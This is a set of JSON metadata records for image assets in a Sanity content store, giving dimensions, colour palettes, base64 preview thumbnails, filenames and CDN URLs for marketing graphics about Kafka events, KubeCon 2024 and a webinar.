{"_createdAt":"2024-02-06T14:37:58Z","_id":"image-d618f5469f8a7d6d567a4a122b431ef9918b3e3e-417x417-png","_rev":"MkmgsAGxwT6Nx7jjOk6ZSR","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T14:37:58Z","assetId":"d618f5469f8a7d6d567a4a122b431ef9918b3e3e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMFy;;M%10tgV^TX9_wM-SjH1Js-}DWDNu#D$~J*NJSfEPOUSfwyn*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":417,"width":417},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAADPklEQVQ4jYWUS4hURxSGq8ceR20dp2rG6R5nmMc5Bh/4RhBBcCW6MLiwzhjxAYEJQlyYkKAIgogoCCKIIiIIbtyKC18gKM69UcgmIC6ULIJgsoiO1mkznamKoaWqbr9G0YLDvdV971f/fx5XiM8slyphEylsqoRLVNynsvF74veqaS8/hxN1WIgkglyqci5VeZdKH22NA78AZMKoICjL1CRqpktUl0tVr0tV0SVSuVTN8ofE59THIKNRGA0h3v08KN79NCgmFi0TU3e62+246rGJGnCpLNlEFV3q71Upg4ZDp8EgKPNQfy1/PyT+Odkv/s6tEv89nV9wj2S/S6WyiWqPllVnBlU2lW0tCj2ACYSpXTWIV/NWiImVS3Ll/cNzKleKA1O3ewbtQzXLPZLC/RrSkM/U9rpUzrCtwAgLKjPbTNBpduBaHgUqHxiiyoW+1fa+KrxZv1i8/3OuB3bYRPW5VC6wiZrxCYUouGaboIsJvjYarzLBXd43cmTy7MJ17hdZtOOqYMfVbJuoHpfKAZt46zLni9eisJY/ozHPhBuY4BoTTBiNv/E3sLtyuVScutkzVDnft6ZyqbTc3u0edI+lsg9CTkOvtlQ3KgzXTibcbzQ+Z4IqEzwxGr/j3SNflceGN5fHhg+VDwztnDyzsFittrf5Tgh5rfWhCUWoqQtKFzDhUSb4y2j0wNfettF4ngmuM8E4j8IPvBNU+dsRYbajsPe6wxRlNut2c1kOJRMeZMI/vEKj8T0TTDLBWyb412h8ZnRwMM9sWyR4F4j/3xRiY9dhTcEaZ7KGrYbwdgaqclRazfY3mGATj0Le7IjOKhdLYaJiMeJktLGGDkPQzYTLDeE2JjzGhA+Y8KXR8IoJXzDhTSbcl6VFZDkP0ShGVNnFhBuZ8EcmvGoIrzPhOQ81Gk4w4WkmPGwItzBh0RDmprtr7T/CXibcyxH0u4lqbjHhmCFYajT0m6iqo94R0yKspsp2MOESQ7iHCY8zwSnfOky4KvuvMZ5xiuK7FG3XV8hBODFAc0xQMBqKTNDHhPOZIF8vVha+zRqzH+8bwFoOsk9W84t1QGaxKd+tNptX7WPwqZy0qKqD4GNI0/oAYqZCOr+evbAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b2f2f","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#931a05","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5023","foreground":"#fff","population":1.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#962002","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5023","foreground":"#fff","population":1.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87d63","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec510a","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"icon-people-ownership.png","path":"images/sczeoy4w/production/d618f5469f8a7d6d567a4a122b431ef9918b3e3e-417x417.png","sha1hash":"d618f5469f8a7d6d567a4a122b431ef9918b3e3e","size":7674,"uploadId":"8xvT9ZvGqZFnJi0e4icpVJJdCOmP9o17","url":"https://cdn.sanity.io/images/sczeoy4w/production/d618f5469f8a7d6d567a4a122b431ef9918b3e3e-417x417.png"} {"_createdAt":"2024-02-21T12:46:05Z","_id":"image-889fa9d1f846a7a7ed6dada63e88aad9828af377-1200x628-png","_rev":"ie5WJlLr1SLUBaBgCqwYTs","_type":"sanity.imageAsset","_updatedAt":"2024-02-21T12:46:05Z","assetId":"889fa9d1f846a7a7ed6dada63e88aad9828af377","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M78p=otW00Ri~V0Kae_2kWE15Wof=sRiIp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClUlEQVQokVXQSUxTURQG4NsQaWx9j4Lc9yopaG2hI4EyFBAiYwXb0nIfnSKtNRYq1VgXLQRaBjXKEImygMRgZKHRmBgWJi7cuXLBwhVr1IVEjAuJCTig55pSpp7kz8ndfDn/RQwmcgaTKIPJCoMFynKEMngvTjh23EaleW3rEln9pFiiKsnKQkdkfKPofbQWKTFGLapC5DWp0f4wmPgYTF4zmPxgOQIpKIXiAgctLGwDOV9FWUa9KRHzy9JsZlomlnbw0px8ZS4WUUqRKi/vANsFlxhM1lNIGhQg/0QXVGot4K6vBafZCGVFCjiN+V9qTv6lhONf6Tiuu5THrJ7NQZp8DpkKcAa4xmDye7cqpLayyAp2k5nG2w10TDBBxFpLe50dNETs1NV45nurvnix4VRBWaS9TrQaliOL5mQGuL0Hpa6T8QQMKgslleXQ21ACcVsZnQzZ4MVUDJbuD8GdPvc/X51p+ZxGSTxVBrFVU4SselUGCLtgqi7N5bvAqLXS7qY2uHS+FUL2FkgEHPB0OAgvh3xwy90IF2qMK47S4oBQrpE4jGrUaSw+AFlOgHTS/5fDEdAZvBDwRSEZH4eRwTEYvjEANyMhGOux0/7W6r89Zv07X5W2s7tCm+2p0CCXSZNxYaoqZbl0Uu/TWj8NBsfp/OwiffTwGZ24O0+TAyN0INxHw07b18DZ6jl/jU5/uaVG1OAdRH6z7hDICdsMFrZZLh0Gkz9Y4fnZ3Hrt28T4zOrczOxacnB083YisTU1mvgYvxJ+ErR1tLsq9VKFKAu5m5uQ36w9VBkLG8xOyAbLCTthMPmsUHrfeF3XZ6J9/c9D/ouryVjsw8LsvccLD6YtsasRFqFstPXpLfLYCZIdle+D/wGvwv5hLQEHMgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#243449","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1452","foreground":"#fff","population":31.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1452","foreground":"#fff","population":31.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2ad99","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1b471","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c94","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df7224","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka dinner with google - meta data (3).png","path":"images/sczeoy4w/production/889fa9d1f846a7a7ed6dada63e88aad9828af377-1200x628.png","sha1hash":"889fa9d1f846a7a7ed6dada63e88aad9828af377","size":361364,"uploadId":"BMyJkqzsAYxp62NrYZHG15G74ZzFC9wk","url":"https://cdn.sanity.io/images/sczeoy4w/production/889fa9d1f846a7a7ed6dada63e88aad9828af377-1200x628.png"} {"_createdAt":"2024-03-26T15:08:42Z","_id":"image-10583552f0e9a06c6924def951fe9440bec3edea-512x419-png","_rev":"FsdEUX6qPquRWP6V16Pa1G","_type":"sanity.imageAsset","_updatedAt":"2024-03-26T15:08:42Z","assetId":"10583552f0e9a06c6924def951fe9440bec3edea","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"epL^,8j?=Ys.of}Xj@NafkNdI;juShWVw]n~a|s:jto0w^j[S4f6WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2219570405727924,"height":419,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACfklEQVQokY3R7UtTURzA8f0PhbZ7z8M9e1C3NXO7D3tIQScmK02knOWWTSdumnfb3b27UhFWFCmlRIFUEiZU1AshgrA3UlC+ETGLUZmhu/f+I7EVVPTg4Pvi9+bDOb9zTLrK/pqR53SllJHnjNLAGwpn5Njv6RKnZ39m+hfelrlCVnif8W1KgpbjKsJ6ntPz3Ncc92bE93CgeT4Rfim2f5QOGmWvV4LX08LCYOt0Ino3Jy2eF1fHO4s5oaJrawr3VmycSx6fV+SlqeuvZq6tTcS25YAh7YJL71RU+JVM6MFobCErvbh05fXU5Y2J6I4SMCTv7lhT+NVs6FGqb24o+VRSly+OFy5ENMVfwclq6XtW0033413TvdF7idQzOfVO7dBk4X/YKOMvOXYl6Xl8SpjsDV89Gb01lJpNxReH2wpp3shxf8eGymoqV8iyT6L1Uov9RMA10hmeTI7clmS1/7TY0bIQ82+IvmKWN/7EWp5dG/Pc6XFHfHYnATaEW30BKdZ/dmi469BhwStEmv0zvU3Lw8HNtPAb1lR2XfTc7HaGGyxWBCkzTZlpG7EFOb7JF3A53Bab0+lqCPkD2SONi/HgJ/GHL+EtmX3Ut/+olzAAUBSgaVgOYUQwJggRzNiItc5W42Yb2NH2wNKgsJ0pY2OcWxvznGuzuwhlNlOAhgBgCBkAGAgwBAhCBiELw1gJsRNrbaOn/kY3++FMaXlTMc8+j7t7OISoKvO+akADYqmx19ZbrA4EGUgDVMYIEwYRhBiH3Z5oPrA0wO9keNOW7J09VhesMZur9lDVeyEADpfX62t1uXmMCKAoCBHGFowtCGJI0wzGIa97NiJ8Fvlvn8KHzGkOgSsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364152","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c44c14","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e47434","foreground":"#fff","population":39.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c19496","foreground":"#000","population":3.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46f2e","foreground":"#fff","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f6361","foreground":"#fff","population":4.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e47434","foreground":"#fff","population":39.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"John Turner.png","path":"images/sczeoy4w/production/10583552f0e9a06c6924def951fe9440bec3edea-512x419.png","sha1hash":"10583552f0e9a06c6924def951fe9440bec3edea","size":113942,"uploadId":"GbsWvy8giUCKweABvRRVy9zdINXQsiFj","url":"https://cdn.sanity.io/images/sczeoy4w/production/10583552f0e9a06c6924def951fe9440bec3edea-512x419.png"} {"_createdAt":"2024-02-29T12:23:34Z","_id":"image-ef22c5e52103df1b0e47f97faab92bf2266701a9-5480x1960-png","_rev":"V3O8maT2S7wtHLmaPhSYaG","_type":"sanity.imageAsset","_updatedAt":"2024-02-29T12:23:34Z","assetId":"ef22c5e52103df1b0e47f97faab92bf2266701a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D98XthTi}85XL20irCAB-Vry","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.795918367346939,"height":1960,"width":5480},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACKElEQVQokSXSS08TURiA4W+Y6ZzC0FKGFuacuc8wnUtboPSCtIUW1GAMWkFIrGkxBY0kaLQ0Jmw0MWVnI7owonEhC/e4MxANibcYjbpU/kwN8U2ef/ACBwAC9IPICSDxBKR+AgQNAYYwhMEPJw3d/QxD935QwuYnSmh+pchyu0t2Un2y6SiylYiIpVUm8qJDCY2PXTDVWYNcpw72iM04lsW5ltXjZVy63HkFs50qxN/UAW8eULj6khbzFSTFC72Sdyooxf6Tk6d7rMJlZJcqSFvaZsG+lWaGy3GWpDVuwCWDAw6JkLTOGWdcZM57rH07Tytbz7rE4jVWHo71KZohypqhyJoZkaMj7KA7yfCyFeBVj4+kywGwFhI96rgZzHvJcNWb0a7GprWJWCKieFq/njIDVi3FGtstWirWWFEx+jAWFIyxLokijwmhL4xiZmkc84tpFc8UpkJgV0aRadvdu6PN6MFkq3aUf1h5nVk3iEQ4zdO77Sspn3qjzmjVNh3gBQ4hZCHkd0PB3iDAMLxfVbnfG0b254Z57vBm3ISx3RJzaXaZfju5kz0qPn3+rbSz86XQGlEN7NOnHZ+9OM4q5+eQUW4y/t5QgKIgCQBZDjE8QIj6cF0PH29GV46bzv1fd7wcJPfOsrlHF5m94uPYfuHJ1rtcu7Gff2Dpa47PWc+w7voEUhfnkb6wxfgD/MkUNgC4nN8XBCDU4aoR+tOIzv1tuivfG2OJf8OGcoheH3e/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c2c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#890431","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b05093","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c47cbe","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6cc4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b05093","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec0c64","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"eda-serverless-kafka-lamdba-architecture.png","path":"images/sczeoy4w/production/ef22c5e52103df1b0e47f97faab92bf2266701a9-5480x1960.png","sha1hash":"ef22c5e52103df1b0e47f97faab92bf2266701a9","size":214080,"uploadId":"uWcyySJPlqs9kUp6uCkRg22ITt1bISC8","url":"https://cdn.sanity.io/images/sczeoy4w/production/ef22c5e52103df1b0e47f97faab92bf2266701a9-5480x1960.png"} {"_createdAt":"2024-03-06T15:21:39Z","_id":"image-db7b5306bb932aaf63437015d2c49906bd1f6c16-1567x844-png","_rev":"oDDEDb680V5VDIizrhCgrZ","_type":"sanity.imageAsset","_updatedAt":"2024-03-06T15:21:39Z","assetId":"db7b5306bb932aaf63437015d2c49906bd1f6c16","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M868Rb?FRMRjs;?d%LRiRkkDjqs=ofayad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACVUlEQVQokT2Ra0/TUACG+wfcurbntOe0PT29MoZcMsRg3AIYMpQ5ZfcNNhjdjXVsjJldZIrGDYIaNXzRv6ugMXm/Pu+TNy/D45xE97Fekugh0l1kNBTbU52u4pyrcwNsj7B9gZ0JMgdQ8wTSBFqTlyusVPSLGUYPVp5s9jdjo8iz4frGaC06jmx/2Ni5im5frW9d28vvZWciO++QObjDFBeQJiAtTnEDuMQEl+s7iUkyN32dne0mp7HENJ76vJf/sZe/jadvo7Gv4chN6NFMcQY8qfNqVdR7yByKeg/SDhNcqW/tjF6mPibSn3aT0+evZrFX1y/2vsTT3+Pp273Cz0Tu19PtbzQ0EsgJoG1sv8XOBFtj2blkkL5vLbjzK82FsBcKd0Ph3nz4zfzq6OHaZPHxZTgyW43ehNZmijMEmge0lqh3IO2I+hm2xoxfTLFShkU5Dhd55VBQXUAakHqS0UVmH9vD+80XktEXyAknVzhc5nCZV46h5jE+mHoAUz6Y8Yv5ACpxyrGg1gFpQXoK6Zlo9JE1RtYY6me8Ug3gEicf/Q0gzXuzmGalbAAV71r/w1obaB6kbdHoSUYf0jYnHwXQgaA2gNbiFZdXqoyEkpRkqVWWzQpQjzj5Hww0j1drnFzh1SogJ4JaD6ASi4p3V2ktTj5kpQJjkNSSXVhaqduLTaS7gLhQa4i0LeqngNQ4ucQrZUBqguqyUpGV8vfOY7+U98EUQ/SCYe2bwQqdqypWTbabqtMmc10teK46HWzWsFmTLQ9qVVbK+8VsAB2wqOgTM3/g39EVl1FKDcjeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36316a","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04196e","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7d9e7","foreground":"#000","population":4.23,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7d9e7","foreground":"#000","population":4.23,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f93","foreground":"#fff","population":0.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232d90","foreground":"#fff","population":2.74,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kubecon_eu_2024.png","path":"images/sczeoy4w/production/db7b5306bb932aaf63437015d2c49906bd1f6c16-1567x844.png","sha1hash":"db7b5306bb932aaf63437015d2c49906bd1f6c16","size":106234,"uploadId":"YwKdmvtK8pruBot3NqjvGFNhZgHEpolD","url":"https://cdn.sanity.io/images/sczeoy4w/production/db7b5306bb932aaf63437015d2c49906bd1f6c16-1567x844.png"} {"_createdAt":"2024-02-21T12:50:24Z","_id":"image-c73347e264310aee51dc91df52865b24b78fa33a-1200x628-png","_rev":"ie5WJlLr1SLUBaBgCqwjCy","_type":"sanity.imageAsset","_updatedAt":"2024-02-21T12:50:24Z","assetId":"c73347e264310aee51dc91df52865b24b78fa33a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M87T@J-@034.-o0KM{?a-pIoI@WV$es7Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACYklEQVQokXXS3UvTYRQH8CNpNt3z7OXn82y/6Qwn/rb9zDbfcpkplptOx/TZfMm5+YIvidrIUVpRVmgmSqUSeN2NVNAfEN1EQRh11x/QXa9ERRCY+jyxErpwHThwbs6H74EDiDBAhGkQYUWIsCZMWQ+mrFdHQ32YhqKYhuv0pg4jAMBJxQ55xA25WA9luRZQCIE9hQgzIsL8iLA7mLIniLCXiLBX2pzW11qp5YVW8i1n6Y+VZ2RLGa6FVTgbuw9WowSePDMMVTtTgmFE2ENM2UdE2C9M2U6O3MrNFh+Xcqq2tFr7m6z9ZBala2qMmdl6k9b0Z69AbwAhhlOCjzBl7zFlApGQkMxt3KX4uL/Cw2uLndxhsf4sNFneOuTc9WJZDrhlqlUNBrATExyx0pTgB0zZJiJMYBri+dYW7nd7eNx7iCcCpXw0WC9G2wMi2lj/2e9W12pteerSYCtkWsqgQTmYEtzGlPFkOh1lXLH5ebCyig/XH+ZToWp+N9HDH9w4IxZPt2/Hjpc/bXLavJ2Vxft8BTL41cKUIN8FuY4yoShtPNTYwcciEZ7oj/KFiT6+Fu8SV8J1O71HS54zl9IYLnOmB1QbBEuK9oLJM3dbYMJEgb1bRLqnxMLsilicXxEz5y/zC0P9Yizo/R6rKb3XXeFwRWsr0iIA0Fnu+F/Cv2hyNuV3bTW3TH5bnFt9d+vm8teZi1c3r01Pfzk3Mvh4oNkbOVWpGhSNBroaTkCfJ8Xb/En2L2WyfxSp0Y2B2OR6fGRsIzE+/un23PVna0vzw5fiE7L5gJQmhIDB9jAA6PaAvwF8e8qpjqbZWwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#502f26","foreground":"#fff","population":3.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e186c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#502f26","foreground":"#fff","population":3.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3b39c","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc74","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686b96","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4762a","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka dinner with google - meta data (5).png","path":"images/sczeoy4w/production/c73347e264310aee51dc91df52865b24b78fa33a-1200x628.png","sha1hash":"c73347e264310aee51dc91df52865b24b78fa33a","size":279663,"uploadId":"LWhlohDNoxQsNf67SYFbulbH8seTBk12","url":"https://cdn.sanity.io/images/sczeoy4w/production/c73347e264310aee51dc91df52865b24b78fa33a-1200x628.png"} {"_createdAt":"2024-08-30T16:30:25Z","_id":"image-df57f8e549fef5bb496d715ffc49d9a9ffb33ca5-1200x628-png","_rev":"ue91KDsQT6iQBDv0bjT35a","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T16:30:25Z","assetId":"df57f8e549fef5bb496d715ffc49d9a9ffb33ca5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNcr.#WS,Bes~CpbZ~iKjJcCaMf9bbg2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACJElEQVQokV3S3U/TdxSA8W+LgY7FiFp0Gk36wlphHWRsFQWjiRfcD4a8DYRh3IsgM+KYkIIVkFoKVabTf/b3PKb8lpjs4tx+8pyTE5g4JUuXZLlHVvKykpU/c/K0R57lZaNXt0pS6ZXNrPyVlvUu2c3IYUkOrkn9azkqyfGggamUrBRlY1gqt2SzLBuDsn1dqkPy+q4ejsrBHdkvSyUjG2l5lZNGn+xnZO+K1LJS7zEw3SmPCvL8hmzflsrNGNwqy86w1O/q0ag0R6U+8hlsFdbyUr0o1W7ZvSTVtIF77bJ4Qf7IyWpRnhRkNSNPsrLeKu/VSkmqA7JVlPVu+fusvLwq+3l51YJzUsvIzlcGxhKe3HGqQ2ZTMpeS+XZZ6JCllDxM6W9fyKNOWU7Jakqen5PdrDS+keaAvP1OmiWp5w38GDyZsSA/BZkMMh1kNsh8kIUgDxLya5v8npTH7bLZLbVCjDX75c1APAcFQ9SCxpMykZTJpEwlZCbIz/+BvyRl+UtZOydrXfLsjGxfloO+uKxx7QSi+e1JZYgmThnNdRktpmWhS+Y6ZCbxGVxqk6fn5WVednLy4qrs5uSoX46/l0ZR6oUYfz9kiO61Gy1eNHp4RR5ckPlOmf0fuJaWWp80+mW/ILWivB2Ud+X4/1p174fkw4ghGk8aTXbIdEpmWnVtMTiXkPuJeOXHp2WvIIf9spePweOy/HtT/vlB3l2XD8PyccRPs/4AXOXtwxcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#baccce","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c479","foreground":"#000","population":0.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AivenforMetricsisnowAvailable.png","path":"images/sczeoy4w/production/df57f8e549fef5bb496d715ffc49d9a9ffb33ca5-1200x628.png","sha1hash":"df57f8e549fef5bb496d715ffc49d9a9ffb33ca5","size":157284,"uploadId":"WaLqIVGXvgECCqUeBvEAfLLLD7KgfkPH","url":"https://cdn.sanity.io/images/sczeoy4w/production/df57f8e549fef5bb496d715ffc49d9a9ffb33ca5-1200x628.png"} {"_createdAt":"2024-03-25T13:54:02Z","_id":"image-279f9e6ddaab00143d3fbe0e3f9ea900c23df27e-1200x628-png","_rev":"80Znsvx5FiXC5oBvpYOpRm","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T13:54:02Z","assetId":"279f9e6ddaab00143d3fbe0e3f9ea900c23df27e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37UW1~FDg$_RNXXR%M^o$R:4nM|j;D+fO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACkElEQVQokR2S61PaeBSG8yd0ppeFGBAk+QUSSAgXU4KKglattZfpamuv09ZptbWiXGoJIhdR19p2pzM7O7P9Z58d+HA+vOfD+845zytdC2wQjL4gmniLsHbQUh+JmXtoqQN0u0E83ULYPpNGC0X4KPoJijhBVlsE1SNkzUfWjgmqX/ljqoF0Q3mKltwmU9jHnauTn2niFJrkij5uqcv03ID83JDc7Bm52Utys1c4xUtS7pDk9ADdGRJODJgYhWgdpMDks7HZ0toxqw/7LN8fUF7tU7k7ZPn+JcsPvrP66G/WN/7hwZP/WN/8zdrjf6ms/aRQviLlXhExLwjFzwkbl0g3lacYzge8+RozlSO8cgu35HO7dEyx3GfuzjnzK9+o3PvJ4vovKmu/WFj9QWHhDDPbI2L2UPQ+ofgZk8YV0nV5EyP1Es/bJp3fRVifENY+wjoklqwRNZpoVouMd4y3cEJ2pkcy3yHh+GiWT8RoE9LbKHqPcOICKRh9zvLiDu+2DllZqWO7h9huA9s9Qk3WCUSrhPQaxXKD9Ud1Sks+TuGEdKFLpniKXThHpPtEzC7hxOnoh1tUyh95vtmkvNQglT/Amh4ZfyGebqJoh4RElaxXpbS4R8aro6e/End8jGwfI3eBSA+JmB0UvY10PfAYQ2yRz25jOLtEE6PqfCaVb2K7PmbWZ8qsEdJ2CWk7TKifCUxVCcbqTIj2mHAo3kXWjgjE6ki35D8RkQ2Sxmt06wNRYwfdrpKb8fHKfW7PDzBzLRRtj0D0E3LsAFmtMSG+EE50iRinhOOdsZa1BlJYfcmUeIWaeINqvidmjsDsY2YbWK6P5XYwsiMADdRUHWG3EOk2utMdn2vk/iKe6Y13o/kf/XFtfsmF8AQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242650","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5c6db","foreground":"#000","population":7.88,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767ec1","foreground":"#fff","population":0.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e9a","foreground":"#fff","population":3.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Building to win webinar (with date).png","path":"images/sczeoy4w/production/279f9e6ddaab00143d3fbe0e3f9ea900c23df27e-1200x628.png","sha1hash":"279f9e6ddaab00143d3fbe0e3f9ea900c23df27e","size":222329,"uploadId":"bnockPh2nwvXla2MC3UQrdFPbPYRz47B","url":"https://cdn.sanity.io/images/sczeoy4w/production/279f9e6ddaab00143d3fbe0e3f9ea900c23df27e-1200x628.png"} 